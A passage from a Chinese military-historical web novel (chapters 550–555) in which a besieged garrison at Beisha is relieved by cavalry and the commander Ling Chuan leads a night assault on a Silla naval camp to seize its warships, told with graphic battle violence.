“大人!”其中一名校尉鼓起勇气问道,“北系军的同袍真能在天亮之前赶到吗?” 另一人的眼神中也带着怀疑之色,接口道:“是啊大人,东疆都不管咱们了,北疆会管我们的死活吗?” 于廻眼神中带着几分挣扎,最终还是决定如实相告:“陛下封镇北侯为东征先锋,此前已经传令于我,北疆的援军已于数日前出发,但天亮之前能否赶到,我也不知道!” 本以为,听到这话,两名校尉会沮丧、甚至是心生恐惧。 然而两人的眼神中并没有丝毫恐惧,反而是坦然一笑。 “哈哈……大不了一死,无所鸟谓了!”那名受伤的校尉豪迈大笑,笑声中带着视死如归的洒脱。 “对!就算是死,也要让这些百济小儿知道,咱们大周边军不可侵犯!”另一名校尉握紧拳头,眼中燃烧着不屈的火焰。 一个时辰之后,敌军便再度发起了进攻。 这一次比之前更加猛烈,显然是铁了心要一举将卑沙城攻破,战鼓声震天动地,无数火把将夜空照得如同白昼,箭矢如蝗虫般飞向城墙。 卑沙城上至都尉于廻,下至带伤的士卒,全员上阵。 当最后一支箭矢被耗尽,弓箭手也不得不丢掉长弓,拔出战刀与冲上来的敌人展开近身搏杀。 眼看冲上城墙的敌人越来越多,于廻大喝一声:“上火油!” 一坛坛火油被丢下城墙,将攀爬上来的百济士兵砸得掉落下去。 火油罐子碎裂开来,里面的火油倾洒而出,浇洒在那些士兵和云梯之上,更多的则是流到城墙跟前堆积的尸体之上。 浓烈的火油味顿时弥漫在空气中,与血腥味混合在一起,形成一种令人窒息的怪异气味。 “点火……” 随着于廻一声大喝,数十支熊熊燃烧的火把被掷下城墙。火把在空中划出一道道弧线,宛如坠落的流星。 当火舌触及火油的瞬间,‘轰’的一声巨响,烈焰如怒龙般腾空而起,迅速蔓延开来,将整段城墙笼罩在熊熊火海之中。 火油不仅点燃了城墙下堆积如山的尸体,更将搭在城墙上的云梯以及正在攀爬的百济士兵一并吞噬。 凄厉的惨叫声此起彼伏,一个个身影在烈焰中扭曲、挣扎,最终化作焦黑的躯壳坠落下去。 空气中弥漫着皮肉烧焦的刺鼻气味,混杂着布料燃烧产生的浓烟,让城墙上的守军忍不住剧烈咳嗽,许多人更是扶着墙垛呕吐不止。 “大人,接下来怎么办?”一名校尉浑身是血,凑到身边问道。 滚滚浓烟将摇摇欲坠的卑沙城笼罩,可于廻的眼神却异常坚定。 “清点人手,还能行动的随我出城杀敌,若是走不动的,就留下来继续守城!”于廻斩钉截铁地说道。 这场大火持续燃烧了约半个时辰,浓烟笼罩下的卑沙城显得格外悲壮,城墙被熏得漆黑,多处墙体在烈火的炙烤下出现了更严重的裂痕。 卯时不到,一缕朝阳终于撕裂了地平线,金色的光芒洒在这座千疮百孔的城池上。 突然,城墙之上爆发出一阵震耳欲聋的欢呼声。 “天亮了!我们守到天亮了!”一个年轻的士兵激动地挥舞着残缺的战刀,泪水混合着血水从脸颊滑落。 “我们做到了!我们是英雄!”另一个手臂负伤的老兵靠着墙垛,虽然声音虚弱,眼中却闪烁着自豪的光芒。 所有士兵都在尽情欢呼,那一张张布满血污与烟尘的脸上,绽放出劫后余生的喜悦。 他们互相搀扶着,拍打着彼此的肩膀,仿佛这场黎明本身就是一场伟大的胜利。 城外的百济军中,一名身形魁梧的将领眯起眼睛,不解地望着城头上的景象。“这些周军在欢呼什么?”他语气中带着困惑与恼怒,“莫非是在庆祝他们的死期?” 身旁的副将摇了摇头,揣测道:“恐怕是在与这世间做最后的告别吧!” “传令下去!”主将猛地一挥战刀,刀锋在晨曦中闪着寒光,“全军准备进攻,这一次,定要一举踏平卑沙城!” “是!”传令兵领命而去,战鼓声再次隆隆响起。 原本以为只有区区两千周军驻守的卑沙城可以轻易拿下,谁知经过整夜猛攻,付出了三千多人的惨重代价,却依然未能攻克,这让百济将领既愤怒又懊恼。 此时,六千余百济士兵重新整队,虽然许多人身上带伤,彻夜作战更是让他们疲惫不堪,但在胜利的诱惑和军令的督促下,他们还是强打精神,准备发起最后的冲锋。 第一卷 第551章 铁蹄踏晨光 城内,于廻组织了五百余伤势较轻的士兵,准备出城杀敌,做最后的殊死一搏,至于剩下的士兵,则是留在城墙上,与卑沙城共存亡。 其实,每个人心里都明白,北疆的援军恐怕是等不到了。 他们之所以欢呼,是因为于廻曾经说过——只要守到天亮,他们就是英雄。 而现在,他们确实做到了,在这最后的时刻,荣誉与尊严,远比生死更重要。 “兄弟们,你们都是好样的,是大周的功臣,是民族的英雄!”于廻环视着身边这些浴血奋战的将士,声音洪亮而颤抖,眼中闪烁着晶莹的泪光。 紧接着,他的神色中浮现出几分悲壮与黯然,声音低沉下来:“只可惜,我不能把你们活着带回家乡了!”他紧紧握住手中的战刀,指节因用力而发白。 “大人,我们守了卑沙城十年,埋在这里,想必它也不会介意吧!”那名只剩一条手臂的校尉挺直腰板,豪迈地大笑道,掩膊上残缺的甲片在晨风中碰撞作响。 就在此时,一名体型瘦弱、带着几分书生气的士兵缓缓开口,声音虽轻却格外坚定:“校尉大人说得对,青山处处埋忠骨,何须马革裹尸还!守在这里,死在这里,埋在这里,有诸位同袍为伴,想想也是一件快事!”他的脸上沾满血污,却掩不住那双明亮的眼睛中闪烁的智慧光芒。 “哈哈哈……还是你小子墨水多!”于廻朗声大笑,笑声中既有欣慰,又带着几分苍凉。 但很快,他脸上的笑容渐渐敛去,取而代之的是无尽的决然。 只见他高高举起手中战刀,刀锋直指城外密密麻麻的敌军,厉声喝道:“兄弟们,既然退无可退,那当如何?” “死战!” “死战!” 五百余人的呐喊声如闷雷般炸响,震得城墙上的泥土簌簌掉落。 每个人的眼中都燃烧着视死如归的火焰,那一张张疲惫不堪的脸上,此刻只剩下同归于尽的决绝。 “杀……” 就在此时,城外六千余百济军再次发起了进攻,黑压压的敌军如潮水般涌来,刀枪在朝阳下闪着刺目的寒光。 然而所有周军脸上看不到丝毫怯意,只有与敌偕亡的决心。 就在这时,一名年轻的士兵突然指着远方,激动地嘶声喊道:“大人快看,那……那是什么?” 众人顺着他颤抖的手指望去,只见数里外的东方地平线上,一条黑线宛如奔腾的巨蟒般迅速游来。铁甲在朝阳的映照下泛着冷冽的光芒。 “是百济的主力军来了吗?”一名捂着伤口的士兵重重吐出一口血沫,声音沙哑地问道,脸上写满了杀意。 “不对!”于廻眯起眼睛仔细眺望,突然激动得声音都在发抖,“那不是百济军,而是大周的北系军!” 听闻此言,所有人皆是一惊。 身旁的校尉更是瞪大了眼睛,一脸不可置信:“大人,你确定没看错,那是北系军?” “你们看,那支骑兵打的是青天白日旗!”于廻抬起颤抖的手,指向远方那面在晨风中迎风招展的战旗,声音因激动而哽咽,“是我们的援军!我们的援军到了!” 卑沙城外,三千轻骑如离弦之箭般飞驰在辽阔的原野上,领头将领阔面方脸、目光如电,正是云州军都尉柳衡。 他身后的三千铁骑,是几个月前才新立的雁翎骑,那面青天白日旗在朝阳的霞光中猎猎作响,宛如一道希望的曙光,直奔卑沙城而去。 三日前,他们便接到了求援信,只不过,并非是来自卑沙城,而是先他们一步出发,赶到辽东的云州斥候。 从消息中得知,三万百济大军正在赶往卑沙城,他们便马不停蹄地朝着这边赶来。 远远望见晨光中浓烟滚滚的卑沙城,柳衡的心提到了嗓子眼。但当他看清城头那面虽然破烂却依然飘扬的青龙驭海旗时,顿时精神一振,高声喝道:“兄弟们,卑沙城还在,快!” 城墙上,于廻脸上写满了激动,他转身对守军大喊道:“兄弟们,援军到了,给我杀!”他的声音因激动而嘶哑,却充满了力量。 这一刻,原本疲惫至极、已经心怀死志的守军再次爆发出昂扬斗志。 于廻原本准备带兵出城与敌人决一死战,但此刻他改变了主意。 这并非贪生怕死,而是他深知,援军已经近在咫尺,此时若贸然出城,极有可能干扰骑兵的冲锋。与其如此,不如固守城墙,为援军创造最佳战机。 “轰隆隆……” 马蹄声如闷雷般滚滚而来,三千铁骑踏碎朝霞,转瞬即至卑沙城下。 “列阵!”柳衡一声令下,声音铿锵有力。 只见后方骑兵迅速从两侧上前,以他为中心,列成一个完美的楔形冲锋阵型。整个过程行云流水,整支队伍在高速奔驰中完成变阵,显示出平日里严苛训练的结果。 正在猛攻卑沙城的百济军被后方的动静惊动,当他们转身时,赫然发现一支杀气腾腾的铁骑已经出现在身后,正以排山倒海之势向他们逼近。 这支轻骑兵个个身披精铁铠甲,腰悬制式战刀,凛冽的杀气如实质般扑面而来。 即使相隔甚远,百济士兵也能感受到那股令人窒息的压迫感。 “杀!”柳衡的喝声如惊雷炸响。 随着他一声令下,整个骑兵方阵再次加速,远远望去,就像一道移动的钢铁城墙,朝着卑沙城下的百济军碾压过来。 所有百济士兵眼中都写满了恐惧,双腿不自觉地打颤。 震耳欲聋的马蹄声让他们心跳加速,几乎要窒息。 那名百济先锋主将虽然也是面色大变,但很快强自镇定,声嘶力竭地大吼道:“给我挡住他们!” 百济士兵这才如梦初醒,慌忙组织防御阵型。 然而他们大多为步兵,武器装备参差不齐,只有稀稀拉拉的长枪与盾牌勉强挡在前方。 “弓!”柳衡冷静下令,声音冰冷如铁。 所有骑兵齐刷刷地摘下破甲弓,取出破甲箭搭在弦上,动作整齐划一,仿佛一个人在做着同样的动作。 第一卷 第552章 雁翎骑 弓弦拉动的声音宛如恶鬼在磨牙,即使在震耳欲聋的马蹄声也无法将其完全掩盖。 “放箭!” 随着柳衡一声令下,密集的破甲箭如飞蝗般射向城下的百济军。 刹那间,破空声与惨叫声响成一片。 百济士兵的简陋铠甲根本挡不住锋利的三棱破甲箭,很多人被一箭毙命,有的箭矢甚至直接穿透人体,带起蓬蓬血雾。 雁翎骑在射出第一轮箭雨后,毫不停顿地取出第二支箭,搭箭上弦、抛射而出,整个过程行云流水。 三轮箭雨过后,百济士兵死伤超过千人,原本就松散的阵型彻底崩溃。 射完三轮箭雨后,所有雁翎骑成员迅速收起破甲弓,齐刷刷地抓起得胜钩上的长枪。 接下来将是骑兵最擅长的冲锋陷阵,说是凿阵或许并不恰当,因为敌人已经溃不成军,根本不需要刻意破阵,只需一番冲阵,便可彻底击垮敌军。 但即便如此,雁翎骑依旧没有丝毫松懈,每个骑兵都面容坚毅,紧握手中长枪,眼神中只有冰冷的杀意。 城墙之上,所有守军目瞪口呆。 就连久经沙场的于廻也是一脸震惊,他万万没想到,双方尚未短兵相接,雁翎骑就已经歼灭了上千敌军。 更让他震撼的是,这支三千人的骑兵在高速奔袭中,依然能保持整齐的队形,锋线如同一支标准的箭头,锐利无比,仿佛能撕裂一切阻挡。 这样严整的军容、这样凌厉的攻势,是他从军十余年来从未见过的。 “砰砰砰……” “嗤嗤嗤……” 三千铁骑如钢铁洪流般碾压而过,百济士兵那脆弱的阵型在这股摧枯拉朽的力量面前,就像纸糊的一般不堪一击,甚至连让骑兵阵型减缓分毫都做不到。 一杆杆长枪宛如毒蛇出洞,精准而狠辣地刺穿百济士兵的身体。那名百济主将更是被柳衡一枪洞穿胸膛,随即被单手高高挑起,悬在半空中。 铁蹄踏碎残肢断臂,长枪撕裂血肉之躯! “吼……” 百济将领大口喷血,发出含糊不清的嘶吼,眼中满是不甘与恐惧。然而生命正在快速流逝,最终被柳衡狠狠甩了出去。 他还想挣扎着爬起来,可还未起身,就被密林般的马蹄淹没,顷刻间化为一滩模糊的血肉。 这一轮冲锋过后,大地已被鲜血染成暗红色。 粗略估计,至少有两千余名百济士兵倒下,或是被长枪刺死,或是被马蹄踏成肉泥。加上之前的三轮箭雨,短短片刻光景,六千余百济士兵已死伤过半。 然而,他们的噩梦才刚刚开始。雁翎骑冲至城墙下后,迅捷地一分为二,从两侧兜了一个大圈,再次整齐铺开,碾压回来。 “杀……” 这声暴吼宛如地狱的丧钟,让残存的百济士兵彻底吓破了胆。 面对这道移动的钢铁城墙,他们连抵抗的勇气都已丧失,许多人更是丢盔弃甲,四散奔逃。 然而他们并未意识到,这个愚蠢的行为只会让他们死得更快、更惨! 两条腿的人,又怎么可能跑得过四条腿的战马? 很快,他们就被雁翎骑追上。这一次,雁翎骑士兵甚至都无需出枪,直接驱使战马狠狠撞了上去,将成片的百济士兵践踏在马蹄之下。 从城墙上看去,就像一道黑色巨浪在海面上翻滚,那些逃命的百济士兵如同海面上的浮萍,巨浪席卷过后,便什么都不复存在。 这一番冲杀之后,六千余百济士兵已所剩无几,幸存的几百人彻底被吓傻,一个个瘫坐在地,瑟瑟发抖,连站起来的力气都没有了。 柳衡眼神冰冷如刀,声音中没有丝毫温度,斩钉截铁地吐出一个字:“杀!” 对于这些恩将仇报的畜生,他没有丝毫怜悯,甚至都不屑去抓几个活口来套取情报。 因为纪天禄率领的一千斥候,早在数日前便已抵达辽东半岛,根本不需要通过俘虏获取情报。 不到一个时辰,战斗彻底宣告结束,一万百济先锋军全军覆没。 战场上尸横遍野,残破百济军旗被踩碎,陷入血泥之中,空气中弥漫着浓郁的血腥味。 “敢问于都尉何在?我乃北系军云州都尉,柳衡!”柳衡勒住战马,对着千疮百孔的城门上方喊道,声音在空旷的战场上回荡。 “在下于廻,柳都尉快进城吧!”于廻激动得声音发颤,扶着城墙大声回应。 这一刻,所有守军都眼眶湿润,不少人更是忍不住热泪滚落,喜极而泣。 这一刻,劫后余生的后怕、同袍相救的感动、守住城池的喜悦……种种情绪交织在一起,最终化为滚烫的热泪。 这一战虽然守住了卑沙城,全歼了百济的一万先锋军,但柳衡却不敢有丝毫放松。 他清楚地知道,百济的两万主力最快明日就会赶到,他顾不得让大军休整,立即下令雁翎骑尽快打扫战场,同时抓紧时间修补城墙等防御工事,准备迎接下一场恶战。 好在卑沙城此前囤积了充足的粮草,这倒解决了三千雁翎骑的后顾之忧。 与此同时,在隔海相望的莱州半岛,一万禁军兵分五路,在廖沧横派来的棣州斥候带领下急速行军。 他们必须在中午之前赶到既定地点设伏,时间紧迫,每个人的脸上都写满了凝重。 按照此前掌握的情报,新罗水军每次进入内陆劫掠,都是三日往返。 而且在沿途的落脚点都留有人手,从时间上推算,他们日落之前都会经过几处伏击点。 凌川给他们的命令是必须一战全歼,然后火速赶往莱州的新罗水军驻军地汇合。 同样,凌川也在全力赶路,直奔新罗水军的驻军点而去。 他的路程比禁军要远不少,一路上风尘仆仆,却始终保持着警惕。 新罗水军沿途留下的人手都已被棣州斥候一一拔除,但凌川依旧不敢大意。 毕竟,一旦走漏风声,对方立即就可以启动战舰离开,一旦让他们逃到海上,自己就算有通天本事,也只能望洋兴叹,整个计划也将彻底失败。 然而,这一路走来,所有人的脸色越来越凝重,内心的杀意也越来越浓烈。 一开始的时候,看到的都是一些废弃村庄,百姓们为了躲避战乱,已经集体撤离。 可随着靠近沿海,很多村庄被焚烧成灰烬,到处都能看到被屠杀的百姓尸体。 这样的场景,就算是亲兵队和死字营成员,也感觉内心异常沉重,张破虏这个从未真正见识过战争残酷的少年,更是怒目圆瞪、浑身发抖。 “这些畜生,我一定要把他们杀光!”张破虏怒喝道。 “那就留着力气,一会多杀几个敌人!”凌川平静的声音下是压抑不住的杀意。 他们甚至没时间帮这些百姓掩埋尸体,只能压着怒火赶路。 “这是边军的无能,更是吾辈军人的耻辱!”凌川沉声喝道。 一众棣州军听闻此言,不由得羞愧地低下了头,尽管他们知道凌川不是在说自己,但,那种内疚与罪恶感却一直压在心头,挥之不去。 第一卷 第553章 发起进攻 午时刚过,第一路设伏的禁军便等到了返回的新罗水军。 一场伏击战毫无征兆地爆发,两千禁军从三面杀将而出,几乎是不费吹灰之力,就将这支千余人的新罗水军团灭。 整场战斗只用了不到一个时辰,展现了禁军惊人的战斗力。 其实,这样的战绩并不足为奇。 新罗跟百济一样,都是在大国夹缝中求生存的小国,他们的军队无论是战斗力还是武器装备,都远远无法与大周或大和相提并论。 更何况这支水军上到陆地之后,战力再次大打折扣,加之禁军占据先机发动伏击,让他们根本没有还手之力。 半个时辰之后,又是两处战斗接连爆发,与最初那场战斗一样,几乎就是毫无悬念的碾压与屠杀。 战斗从开始到结束,都只用了不到一个时辰,这再次印证了禁军作为大周最强精锐的恐怖战力。 日落之前,新罗的五路军队被尽数全灭。 解决战斗之后,禁军不敢耽搁,纷纷赶往莱州,甚至来不及仔细打扫战场,只是带走了新罗水军的战马。 这些战马虽然算不上优质,但用来当驮马却是绰绰有余,也好让自家坐骑稍事休息,恢复体力。 蓬莱县位于莱州半岛最东端,是新罗水军的驻军点,剩余五千余新罗水军和所有战舰全部停靠在那里。 此时,凌川率领的近三千人马已经抵达蓬莱,但他没有贸然行动,而是下令全军休整,毕竟长途奔袭,将士们都已经疲惫不堪。 根据斥候探明的情报,凌川立即开始现场制定战术,很快,苍蝇、沈珏、洛青云以及两名棣州水军的校尉都被叫到跟前。 “赵永年,孙孝文!”凌川目光看向二人。 “属下在!”二人齐声抱拳,神情肃穆。 “你二人各挑五百水性好的兄弟,从舰队后方摸上去!”凌川语气坚决,“记住,你们的目标是八艘主战舰,遇到新罗水军直接斩杀,对于舵手、水手优先控制,只要不反抗就留着!”他的手指在简易地图上划过,精确指出了进攻路线。 “明白!”二人重重抱拳,眼中闪烁着决然的光芒。 紧接着,凌川将剩下的一千棣州水军拆分成两队,分别交给苍蝇和沈珏带领。 这样,连同洛青云的三百余骑兵和自己率领的三百余亲兵,形成了四支相互配合的战斗单位。每支队伍都明确了各自的作战任务,只待夜幕降临,便可发起进攻。 一切准备就绪,凌川让除了巡哨之外的所有士兵进入休整状态,静待天黑的到来。海风轻拂,带着咸湿的气息,让常年待在北疆的亲兵们略感不适。 凌川独自盘膝打坐,双目微闭,气息悠长。自从修炼《道藏》以来,他发现只需打坐两个时辰,精神便能恢复到最佳状态,甚至比酣睡一整夜还要神清气爽。 此刻他心如止水,感受着体内真气的流转,仿佛与周围的天地融为一体。 事实上,一直以来,聂星寒皆是如此,只是以前他并未在意这一细节,直到自己修炼了道藏,才体会到此举的玄妙。 夜幕悄然降临,海风渐起,带着寒意席卷岸边,让值守的士兵不自觉地打了个寒颤。 不久,巡值队伍快步前来禀报:“将军,新罗水军岸边的据点升起大量炊烟,看样子正在准备晚饭。” 凌川缓缓睁开双眼,眸中精光一闪而逝。 他轻轻颔首,沉声下令:“传令赵永年和孙孝文,一炷香后发起进攻,我们这边会全力吸引敌人,他们必须尽快控制住八艘主力战舰!” “遵命!”两名亲兵抱拳领命,转身快步离去,身影很快没入暮色之中。 凌川又给苍蝇、沈珏和洛青云下达了命令,他们这四路人马将会从正面进攻。 虽然只有不到两千人,但凌川对自己的亲兵和洛青云那三百余骑兵的战斗力还是很有信心的,这一战,最大的难点就是不要让对方登上战舰逃走。 此时,新罗水军在海边用木材搭建的临时军营已是炊烟袅袅。 这座军营简陋得可怜,若是遇到骑兵冲锋,顷刻间就能被踏平。 军营三面围合,靠海一面停靠着数百艘大小战舰,其中最显眼的当属舰队中央那艘巨大的指挥舰,船头悬挂的新罗战旗在晚风中猎猎作响。 军营朝向陆地的一侧设有一座简陋的辕门,门外仅有十余名士兵无精打采地守着,辕门上的弓箭手更是东倒西歪,有的甚至靠在栏杆上打盹,显然完全不担心会有人前来劫营。 不多时,陆续有新罗水军从战舰上下来,三五成群地聚在一起,喧闹声此起彼伏,准备享用晚餐,凌川等人在暗处观察着这一切,缓缓抬起右手,声音冷峻:“聂星寒听令!” “在!”身旁传来聂星寒冷冽的应答。 “你带人摸上去,解决辕门守卫。”凌川目光如炬,扫视着身后的将士,“其他人随我一起冲进去,无需隐藏身形,只管杀敌,然后登船!” “明白!”身后众人压低声音应道,个个摩拳擦掌,蓄势待发。 大牛兴奋地摩挲着手中的粗木棍,张破虏则轻轻擦拭着战戟的锋刃。 夜色笼罩海岸,夜风中夹杂着浓烈的海腥味,聂星寒带着十余名弓箭手悄然朝着辕门摸了过去。 这十多人皆是箭术出众的亲兵,其中,黄淙几人更是得到了聂星寒的亲自指点。箭术突飞猛进,个个眼神锐利如鹰。 十余人分散隐匿,从不同方向逼近辕门。 待来到一百五十步内,聂星寒取下背负的铁胎弓,三支铁箭同时搭上弓弦,他屏息凝神,手臂稳如磐石。 “咻咻咻……” 三支破甲箭如流星般划破夜空,精准地射向辕门,只听几声闷哼,辕门上的三名弓箭手同时被洞穿咽喉,连惨叫都来不及发出便倒地身亡。 几乎在同一时刻,其他弓箭手也纷纷开弓,一百五十步的距离,对于破甲弓来说,想要命中目标并非难事,更何况,他们皆是箭术非凡的射手。 第一卷 第554章 将门虎子 一轮齐射过后,辕门上的守卫尽数毙命,门外两列士兵也大半中箭倒地,剩下几人还未反应过来,第二波箭已然降临。 转眼间,近二十名守卫全部殒命,后方,凌川见时机已到,猛地拔出腰间战刀,率先冲了出去。刀身在月光下泛着冷冽的寒光。 大牛与张破虏一左一右紧随其后,寇悔带领三百亲兵如影随形。 原本洛青云与苍蝇都争着要打头阵,但都被凌川坚决地按了下来,并非是贪功,而是此战事关重大,且需要实力绝对过硬的队伍才能胜任。 只见大牛肩扛一根大腿粗的圆木,怒吼一声,朝着木门狠狠撞去。 “轰……”一声巨响,木门应声碎裂,木屑四溅,凌川一马当先,率领着手持战刀的亲兵如潮水般涌进营区。 “杀!”凌川冷喝一声,声音中透着凛冽杀意,在夜空中回荡。 亲兵们如猛虎下山,直扑向毫无防备的敌军,那些新罗水军正在用餐,或是排队等待分发食物,哪里想到会在这个时候遭遇袭击。还未等他们反应过来,明晃晃的战刀已经逼至眼前。 “嗤嗤嗤……” 刀光闪烁,血花飞溅,密集的打斗声撕裂了夜幕,凄厉的惨叫声打乱了海浪的节奏。 一时间,营区内乱作一团,新罗士兵惊慌失措,有的慌忙寻找兵器,有的直接抱头鼠窜。 这已经不能称之为战斗,而是一面倒的屠杀。 毫无防备的新罗水军在精锐的禁军面前根本没有还手之力,转眼间便有数百人倒下,鲜血染红了营区的土地。 鱼贩出身的余乐刀法精准凌厉,不见大开大合,却如庖丁解牛般行云流水,每一刀都直取要害,他身形灵动,在敌群中穿梭自如,所过之处必有人倒下。 王麻子的刀法更是刁钻狠辣,身为仵作出身的他,比谁都清楚人体最脆弱的部位。 几乎不见他大幅度挥刀,但每一次出手都能精准命中要害,这个平日里老实的汉子,此时的眼神却冷静得可怕。 相比之下,大牛的攻势就显得野蛮许多,只见他挥舞着那根足可充当梁柱的圆木,一记横扫,当场将六七名敌人打飞出去,惨叫声连成一片。 他那魁梧的身躯在敌群中格外显眼,每一次挥棍都带着雷霆万钧之势。 另一侧,临时搭建的军营中涌出大批敌军,大牛又是一棍扫出,直接砸断三根支撑柱,本就不甚牢固的营房轰然倒塌,将大批新罗士兵埋在下面。 虽然营房上覆盖的只是枯草,压不死人,但等他们挣扎着爬出来时,面对的是一把把雪亮的战刀,更多人则是永远都没能再站起来。 张破虏手持战戟,如猛虎般横冲直撞,他专往敌人密集处冲杀,许多新罗士兵甚至不是被他用战戟所杀,而是活活被他撞死的。 那杆大戟在他手中宛如活物,时而直刺,时而横扫,所向披靡,放眼整个战场,也只有大牛能在威势上与他相提并论。 同样,这也让一众亲兵对这位少年的实力有了全新的认知,脑海中同时冒出四个字——将门虎子! 不到一炷香的工夫,军营中的新罗士兵已被凌川率领的亲兵斩杀得所剩无几。 就在这时,战舰上传来密集的脚步声,大批身着铠甲、手持兵器的新罗士兵从战舰上冲了下来,手中火把将海岸照得通明,口中呼喊着听不懂的异族语言。 “全军收拢,列阵!”凌川高声喝道,声音沉稳有力。 杀得兴起的亲兵们听到命令,虽然意犹未尽,但还是立即收缩阵型,迅速组成防御圆阵。 每个人眼神中带着冷静与从容,在命令面前毫不迟疑的服从,展现出极高的纪律性。 然而,这个举动在战舰上的新罗将领看来,显然是对方被己方声势所慑,不得不采取守势。 那名立在舰首的新罗水军将领得意地冷笑一声,手中弯刀直指营区的凌川等人,用本国语言大喝道:“冲下去,干掉他们!” 大批新罗水军如潮水般从战舰上涌下,转眼间就聚集了近两千人,将凌川及其三百亲兵团团围住。 舰首上的新罗将领满脸狞笑,叽里呱啦地说着一大通凌川听不懂的话,但从神态来看,显然是在嘲弄这支不知死活的周军。 片刻间,偌大的营区之中挤满了新罗士兵,足有近三千人,相比之下,凌川这三百余亲兵少得可怜。 凌川嘴角勾起一抹不易察觉的冷笑,他故意不撤离也不突围,就是要将这些新罗水军从战舰上引下来。 此举一来是为赵永年和孙孝文创造战机,二来也是防止新罗水军见势不妙驾船逃走。 按时间推算,进入莱州内陆劫掠物资的那五路新罗水军,此刻应当已被蓝少堂全数歼灭。而留守在此的五千余水军,眼下已被成功引诱下来近三千人。 这就足够了! 凌川在心中默念,眼神中闪过一丝决然。 就在此时,四周骤然响起震天喊杀声。 舰首之上,那名新罗将领脸色骤变,原本得意的神情瞬间凝固,尽管他站在高处,但火把的光照范围有限,加之夜色深沉,竟未能察觉营地外的黑暗中早已暗藏杀机。 营地内,原本将凌川等人团团围住的新罗水军也纷纷惊慌失措地扭头张望,阵型开始出现骚动,一些士兵面露惶恐,握兵器的手也不自觉地颤抖起来。 “动手!”凌川一声冷喝,声音如寒冰碎裂,在夜空中格外清晰。 三百亲兵动作整齐划一,同时自腰侧取下匣子弩。 “咔哒,咔哒……”机括启动的声响在夜空中格外刺耳。 “咻咻……”破空声不绝于耳,密集的短箭如暴雨般倾泻而出。 如此近的距离,匣子弩的威力被发挥到极致,新罗士兵大多身披皮甲,就算偶有少量的铁甲,其防御力也远远无法与大周的铁甲墙壁,箭矢轻易便可将其洞穿,没入血肉之躯。 刹那间,惨叫声此起彼伏,数百名新罗士兵如割麦般倒下,鲜血瞬间染红了脚下的土地,一些士兵难以置信地看着没入身体的箭矢,眼中满是惊骇与不甘。 第一卷 第555章 中心开花 三百亲兵分三排围成圆阵,最外围的士兵一口气射空弩匣中的九支短箭后,迅速蹲下更换弩匣,一个个动作沉稳、虽忙不乱。 与此同时,第二排士兵立即举弩射击,完美填补了同伴更换弩匣的空档。 就这样,彼此交替射击,形成了完美的配合。 新罗水军哪里见过这等杀器,在以往与周军的交手中,他们从未遭遇过如此恐怖的连射弩箭。 面对这突如其来的打击,许多士兵甚至来不及反应,便已中箭倒地,阵型大乱,恐慌在敌军中迅速蔓延。 当外围两排士兵将两个备用弩匣中的短箭全部射空时,敌人的包围圈外已经堆积起半人高的尸墙,浓郁的血腥味在夜风中弥漫,令人作呕。 前两排的亲兵打空弩匣之后,迅速蹲下收起匣子弩,然后顺势拔出苍生刀,而第三排的亲兵则是举起破甲弓,连连猛射,一支支破甲箭宛如黑夜中的毒蛇,肆意收割着敌人的生命。 如此近的距离,加之敌人站得如此密集,他们根本不用瞄准,只需要不断开弓放箭即可。 箭矢穿透身体的轻响与敌人的惨叫声交织在一起,在火光下勾勒出一幅惨烈的画卷。 尽管破甲弓威力惊人,却无法像匣子弩那样连续射击,新罗水军终于等到喘息之机,残余的士兵惊恐之余也被激发了血性,一个个发出野兽般的嘶吼,挥舞着兵器疯狂扑来。 “杀!” 凌川战刀前指,声震海岸,身形如离弦之箭般率先冲出。 所有亲兵呈圆形散开,如猛虎出柙般扑向敌人。 几乎在同一时刻,洛青云等人也从三个方向杀到,虽然周军在兵力上仍处劣势,却巧妙地对敌军形成了反围之势。 “给我杀!”洛青云一声怒吼,手中长槊如怒龙出海,直接将一名敌军胸膛贯穿。 只见他单臂一振,竟将那名士兵高高挑起,狠狠砸向敌群,这一掷之力,令人瞠目结舌,顿时引起一片混乱。 他麾下的三百骑兵皆是死字营的老卒,个个身经百战。 面对新罗水军的仓促防御,锋利的苍生刀如切豆腐般将其粉碎,这些老兵配合默契,五行锥阵攻防一体,所向披靡。 另一边,苍蝇和沈珏各率五百棣州水军杀到,这两千棣州水军,乃是廖沧横从棣州军中挑选出来的精锐。 一方面,廖沧横早有听闻,凌川手底下皆是猛将悍卒,他同为军中将领,自然不想自己的兵被比下去。当然,最主要的是,他深知此战的重要性,故而挑选出来的都是一手打造出来的精锐,个个水战陆战皆精。 但在凌川的亲兵队和死字营老卒的衬托下,仍显得有些逊色,不过他们士气高昂,奋勇争先。 三面猛攻配合凌川所率领的亲兵队从中间开花,新罗水军顿时陷入劣势,这正是凌川事先制定的战术,看似凶险,实则效果显著。此刻战场上的形势完全按照他的预想发展,可见其用兵之精妙。 当然,这一战术有个重要前提,那就是凌川的三百亲兵必须顶住压力,否则援军未至,他们就会先被敌军吞没。 一番激战下来,新罗水军心中骇然,这些周军不仅装备精良,更有一种令人胆寒的气势。 他们的战刀锋利无比,往往一个照面就能斩断新罗士兵的兵器;他们的铠甲坚固异常,新罗的刀枪很难破防。 更可怕的是,每个周军士兵都如猛虎恶狼,身上散发着令人心悸的杀意,一些新罗士兵开始溃逃,军心彻底崩溃。 就在营区激战正酣时,舰队后方的海面上,一道道黑影悄无声息地游近新罗战船。 月光洒在海面上,泛起粼粼波光,这些黑影个个水性极佳,划水的动作轻缓而有力,几乎没有激起什么水花。 “嗖嗖……” 向上甩出的八爪钩精准地抓住船沿,一道道矫健的身影顺着绳索迅速攀援而上,动作轻灵如狸猫,显然经过长期严格的训练。 “什么人?”甲板上的哨兵终于发现异常,急忙冲到船舷边查看,声音中带着惊慌。 一道黑影见上方探出脑袋,借绳索之力掠起,手中匕首寒光一闪,精准刺入哨兵心口。 “嗤……” 那名哨兵瞪大双眼,最终软软倒地,整个过程干净利落,没有丝毫拖泥带水。 与此同时,四面八方不断有黑影跃上甲板,以迅雷不及掩耳之势将守船的新罗士兵尽数斩杀。 这些偷袭者只穿着轻便皮甲,除了腰间的战刀外别无他物,却个个身手矫健,正是赵永年和孙孝文各自带领的五百水军精锐。 很快,战舰上的黑影越聚越多,仍不断有人从水面攀援而上,他们默契地分成数队,悄无声息地朝着八艘主力战舰摸去。脚步轻到几乎没发出任何声响。 不多时,战舰上传来阵阵惊呼,金铁交鸣之声骤然响起。 偷袭终究会暴露,但为时已晚,赵永年和孙孝文率领的士兵已经摸到了大部分战舰的关键位置。 